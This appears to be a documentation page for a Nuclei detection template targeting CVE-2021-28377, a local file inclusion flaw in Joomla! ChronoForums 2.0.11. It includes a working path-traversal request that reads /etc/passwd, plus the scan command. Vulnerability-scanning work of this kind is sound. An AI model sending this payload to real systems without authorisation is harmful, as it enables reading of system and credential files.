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Nuclei Templates

Joomla! ChronoForums 2.0.11 - Local File Inclusion

ID: CVE-2021-28377

Severity: medium

Author: 0x_Akoko

Tags: cve2021,cve,chronoforums,lfi,joomla,chronoengine

Description

Section titled “Description”

Joomla! ChronoForums 2.0.11 avatar function is vulnerable to local file inclusion through unauthenticated path traversal attacks. This enables an attacker to read arbitrary files, for example the Joomla! configuration file which contains credentials.

YAML Source

Section titled “YAML Source”
id: CVE-2021-28377


info:
  name: Joomla! ChronoForums 2.0.11 - Local File Inclusion
  author: 0x_Akoko
  severity: medium
  description: Joomla! ChronoForums 2.0.11 avatar function is vulnerable to local file inclusion through unauthenticated path traversal attacks. This enables an attacker to read arbitrary files, for example the Joomla! configuration file which contains credentials.
  impact: |
    The LFI vulnerability can lead to unauthorized access to sensitive files, potentially exposing sensitive information or allowing remote code execution.
  remediation: |
    Update Joomla! ChronoForums to the latest version (2.0.12) or apply the provided patch to fix the LFI vulnerability.
  reference:
    - https://herolab.usd.de/en/security-advisories/usd-2021-0007/
    - https://nvd.nist.gov/vuln/detail/CVE-2021-28377
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2021-28377
    cwe-id: CWE-22
    epss-score: 0.00106
    epss-percentile: 0.43237
    cpe: cpe:2.3:a:chronoengine:chronoforums:2.0.11:*:*:*:*:joomla:*:*
  metadata:
    max-request: 1
    vendor: chronoengine
    product: chronoforums
    framework: joomla
  tags: cve2021,cve,chronoforums,lfi,joomla,chronoengine


http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php/component/chronoforums2/profiles/avatar/u1?tvout=file&av=../../../../../../../etc/passwd"


    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"


      - type: status
        status:
          - 200
# digest: 4b0a00483046022100d2a5922f2f2415fedddf29495078789ae074f47852393c9d208d849a1ca47071022100e2ff39291b0d53137dc3521e19d61f97615ed0fbe1737be5892e3629a43080d5:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2021/CVE-2021-28377.yaml"

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